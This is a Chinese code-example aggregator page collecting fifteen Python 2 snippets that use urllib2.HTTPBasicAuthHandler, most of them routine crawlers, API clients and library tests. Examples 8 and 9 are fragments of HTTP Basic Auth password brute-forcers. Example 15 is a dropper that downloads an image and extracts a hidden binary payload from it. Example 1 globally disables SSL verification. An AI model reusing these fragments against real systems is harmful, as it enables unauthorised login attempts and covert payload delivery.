当前位置: 首页>>代码示例>>Python>>正文


Python urllib2.HTTPBasicAuthHandler方法代码示例

本文整理汇总了Python中urllib2.HTTPBasicAuthHandler方法的典型用法代码示例。如果您正苦于以下问题:Python urllib2.HTTPBasicAuthHandler方法的具体用法?Python urllib2.HTTPBasicAuthHandler怎么用?Python urllib2.HTTPBasicAuthHandler使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在urllib2的用法示例。


在下文中一共展示了urllib2.HTTPBasicAuthHandler方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: retrieve_status_page

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def retrieve_status_page(user, password, url):

    try:
        ssl._create_unverified_context
    except AttributeError:
        pass
    else:
        ssl._create_default_https_context = ssl._create_unverified_context

    password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
    password_mgr.add_password(None, url, user, password)
    handler = urllib2.HTTPBasicAuthHandler(password_mgr)
    opener = urllib2.build_opener(handler)
    urllib2.install_opener(opener)

    req = urllib2.Request(url)
    try:
        response = urllib2.urlopen(req)
        return response.read()
    except Exception:
        raise CrawlError("can't access to http://%s", url) 
开发者ID:cloudviz,项目名称:agentless-system-crawler,代码行数:23,代码来源:liberty_crawler.py

示例2: retrieve_status_page

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def retrieve_status_page(hostname, port, user, password):
    statusPage = "http://%s:%s/manager/status?XML=true" % (hostname, port)

    password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
    password_mgr.add_password(None, statusPage, user, password)
    handler = urllib2.HTTPBasicAuthHandler(password_mgr)
    opener = urllib2.build_opener(handler)
    urllib2.install_opener(opener)

    req = urllib2.Request(statusPage)
    try:
        response = urllib2.urlopen(req)
        return response.read()
    except Exception:
        raise CrawlError("can't access to http://%s:%s",
                         hostname, port) 
开发者ID:cloudviz,项目名称:agentless-system-crawler,代码行数:18,代码来源:tomcat_crawler.py

示例3: bing_search

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def bing_search(query, key, offset, **kwargs):
    ''' Make the search '''
    username = ''
    baseURL = 'https://api.datamarket.azure.com/Bing/Search/'
    query = urllib.quote(query)
    user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)'
    credentials = (':%s' % key).encode('base64')[:-1]
    auth = 'Basic %s' % credentials
    url = baseURL+'Web?Query=%27'+query+'%27&$top=50&$format=json&$skip='+offset
    print '[*] Fetching '+url
    password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
    password_mgr.add_password(None, url, username, key)
    handler = urllib2.HTTPBasicAuthHandler(password_mgr)
    opener = urllib2.build_opener(handler)
    urllib2.install_opener(opener)
    try:
        readURL = urllib2.urlopen(url, timeout=60).read()
    except Exception as e:
        sys.exit('[-] Failed to fetch bing results. Are you sure you have the right API key?\n      Error: '+str(e))
    return readURL 
开发者ID:DanMcInerney,项目名称:shellshock-hunter,代码行数:22,代码来源:shellshock-hunter.py

示例4: test_basic_auth_with_unquoted_realm

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def test_basic_auth_with_unquoted_realm(self):
        opener = OpenerDirector()
        password_manager = MockPasswordManager()
        auth_handler = urllib2.HTTPBasicAuthHandler(password_manager)
        realm = "ACME Widget Store"
        http_handler = MockHTTPHandler(
            401, 'WWW-Authenticate: Basic realm=%s\r\n\r\n' % realm)
        opener.add_handler(auth_handler)
        opener.add_handler(http_handler)
        msg = "Basic Auth Realm was unquoted"
        with test_support.check_warnings((msg, UserWarning)):
            self._test_basic_auth(opener, auth_handler, "Authorization",
                                  realm, http_handler, password_manager,
                                  "http://acme.example.com/protected",
                                  "http://acme.example.com/protected"
                                 ) 
开发者ID:dxwu,项目名称:BinderFilter,代码行数:18,代码来源:test_urllib2.py

示例5: get_api_opener_v1

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def get_api_opener_v1(url, username, password):
    """
    get the http api opener with base url and username,password

    :param url: http url
    :param username: username for api auth
    :param password: password for api auth
    """
    # create a password manager
    password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()

    # Add the username and password.
    password_mgr.add_password(None, url, username, password)

    handler = urllib2.HTTPBasicAuthHandler(password_mgr)
    opener = urllib2.build_opener(handler)
    return opener 
开发者ID:smartbgp,项目名称:yabgp,代码行数:19,代码来源:hijack_change_as.py

示例6: __init__

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def __init__(self, configuration):
        self.setup(configuration)
        self.echo = None
        if "ECHO" in configuration:
            self.echo = configuration['ECHO']
        if self.proxy_scheme is not None and self.proxy_host is not None and \
                        self.proxy_port is not None:
            credentials = ""
            if self.proxy_username is not None and self.proxy_password is not None:
                credentials = self.proxy_username + ":" + self.proxy_password + "@"
            proxyDict = {
                self.proxy_scheme: self.proxy_scheme + "://" + credentials +
                                                    self.proxy_host + ":" + self.proxy_port
            }

            proxy = urllib2.ProxyHandler(proxyDict)

            if credentials != '':
                auth = urllib2.HTTPBasicAuthHandler()
                opener = urllib2.build_opener(proxy, auth, urllib2.HTTPHandler)
            else:
                opener = urllib2.build_opener(proxy)
            urllib2.install_opener(opener) 
开发者ID:lightbulb-framework,项目名称:lightbulb-framework,代码行数:25,代码来源:httphandler.py

示例7: _createUser

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def _createUser(self, number):
        record = self._records[number]
        user = record.uid
        authBasic = HTTPBasicAuthHandler(password_mgr=HTTPPasswordMgrWithDefaultRealm())
        authBasic.add_password(
            realm=None,
            uri=self.servers[record.podID]["uri"],
            user=user.encode('utf-8'),
            passwd=record.password.encode('utf-8'))
        authDigest = HTTPDigestAuthHandler(passwd=HTTPPasswordMgrWithDefaultRealm())
        authDigest.add_password(
            realm=None,
            uri=self.servers[record.podID]["uri"],
            user=user.encode('utf-8'),
            passwd=record.password.encode('utf-8'))
        return record, user, {"basic": authBasic, "digest": authDigest, } 
开发者ID:apple,项目名称:ccs-calendarserver,代码行数:18,代码来源:population.py

示例8: run

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def run(self):
		password = getword()
		try:
			print "-"*12
			print "User:",username,"Password:",password
			req = urllib2.Request(sys.argv[1])
			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
			passman.add_password(None, sys.argv[1], username, password)
			authhandler = urllib2.HTTPBasicAuthHandler(passman)
			opener = urllib2.build_opener(authhandler)
			fd = opener.open(req)
			print "\t\n\n[+] Login successful: Username:",username,"Password:",password,"\n"			
			print "[+] Retrieved", fd.geturl()
			info = fd.info()
			for key, value in info.items():
    				print "%s = %s" % (key, value)
			sys.exit(2)
		except (urllib2.HTTPError,socket.error):
			pass 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:21,代码来源:linksysbrute.py

示例9: run

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def run(self):
		username, password = getword()
		try:
			print "-"*12
			print "User:",username,"Password:",password
			req = urllib2.Request(sys.argv[1])
			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
			passman.add_password(None, sys.argv[1], username, password)
			authhandler = urllib2.HTTPBasicAuthHandler(passman)
			opener = urllib2.build_opener(authhandler)
			fd = opener.open(req)
			print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"			
			print "Retrieved", fd.geturl()
			info = fd.info()
			for key, value in info.items():
    				print "%s = %s" % (key, value)
			sys.exit(2)
		except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: 
			print "An error occurred:", msg
			pass 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:22,代码来源:webauthbrute.py

示例10: send

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def send(self, data):
        """
        Send data via sendall.

        @type	data: string
        @param	data: Data to send
        """

        passmgr = urllib2.HTTPPasswordMgr()
        passmgr.add_password(self._realm, self._url, self._username, self._password)

        auth_handler = urllib2.HTTPBasicAuthHandler(passmgr)
        opener = urllib2.build_opener(auth_handler)
        urllib2.install_opener(opener)

        req = urllib2.Request(self._url, data, self._headers)

        try:
            self._fd = urllib2.urlopen(req)
        except:
            self._fd = None 
开发者ID:MozillaSecurity,项目名称:peach,代码行数:23,代码来源:http.py

示例11: __init__

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def __init__(self, userCredentials=None, retries=3, sleepTime=5):
        DirectoryWalker.__init__(self, userCredentials, retries, sleepTime)
        if self.userCredentials:
            if self.userCredentials.httpProxy:
                os.environ['http_proxy'] = self.userCredentials.httpProxy
                # global kludge, default proxyHandler looks up proxy there
            passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
            for url, cred in self.userCredentials.credentials.iteritems():
                passwordMgr.add_password(None, url, cred.username, cred.password)
            authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
            opener = urllib2.build_opener(authHandler)
        else:
#            opener = urllib2.build_opener()
            opener = None
#        opener.add_headers = [('User-agent', 'Mozilla/5.0')]
        self.opener = opener 
开发者ID:apache,项目名称:incubator-sdap-nexus,代码行数:18,代码来源:wls.py

示例12: test_basic_auth_success

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def test_basic_auth_success(self):
        ah = urllib2.HTTPBasicAuthHandler()
        ah.add_password(self.REALM, self.server_url, self.USER, self.PASSWD)
        urllib2.install_opener(urllib2.build_opener(ah))
        try:
            self.assertTrue(urllib2.urlopen(self.server_url))
        except urllib2.HTTPError:
            self.fail("Basic Auth Failed for url: %s" % self.server_url)
        except Exception as e:
            raise e 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:12,代码来源:test_urllib2_localnet.py

示例13: test_basic_auth_httperror

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def test_basic_auth_httperror(self):
        ah = urllib2.HTTPBasicAuthHandler()
        ah.add_password(self.REALM, self.server_url, self.USER,
                        self.INCORRECT_PASSWD)
        urllib2.install_opener(urllib2.build_opener(ah))
        self.assertRaises(urllib2.HTTPError, urllib2.urlopen, self.server_url) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:8,代码来源:test_urllib2_localnet.py

示例14: test_basic_auth

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def test_basic_auth(self, quote_char='"'):
        opener = OpenerDirector()
        password_manager = MockPasswordManager()
        auth_handler = urllib2.HTTPBasicAuthHandler(password_manager)
        realm = "ACME Widget Store"
        http_handler = MockHTTPHandler(
            401, 'WWW-Authenticate: Basic realm=%s%s%s\r\n\r\n' %
            (quote_char, realm, quote_char) )
        opener.add_handler(auth_handler)
        opener.add_handler(http_handler)
        self._test_basic_auth(opener, auth_handler, "Authorization",
                              realm, http_handler, password_manager,
                              "http://acme.example.com/protected",
                              "http://acme.example.com/protected"
                             ) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:17,代码来源:test_urllib2.py

示例15: drop

# 需要导入模块: import urllib2 [as 别名]
# 或者: from urllib2 import HTTPBasicAuthHandler [as 别名]
def drop(host, port, image, payload):
  # here is where we set all of our proxy settings
  if PROXY_SUPPORT == "ON":
	auth_handler = urllib2.HTTPBasicAuthHandler()
	auth_handler.add_password(realm='RESTRICTED ACCESS',
                        	  uri=PROXY_URL, # PROXY SPECIFIED ABOVE
                              user=USERNAME, # USERNAME SPECIFIED ABOVE
                              passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
	opener = urllib2.build_opener(auth_handler)
	urllib2.install_opener(opener) 

  #Grab our file file from the web server and save it to a file
  req = urllib2.Request('http://%s:%s/%s' % (host,port,image))
  message = urllib2.urlopen(req)
  localFile = open('temp.png', 'w')
  localFile.write(message.read())
  localFile.close()

  #Destego binary
  inp = cv.LoadImage('temp.png')
  steg = LSBSteg(inp)
  bin = steg.unhideBin()
  f = open(payload,"wb") #Write the binary back to a file
  f.write(bin)
  f.close()
  os.system('rm temp.png') 
开发者ID:ahhh,项目名称:Stego_Dropper,代码行数:28,代码来源:dropper.py


注:本文中的urllib2.HTTPBasicAuthHandler方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。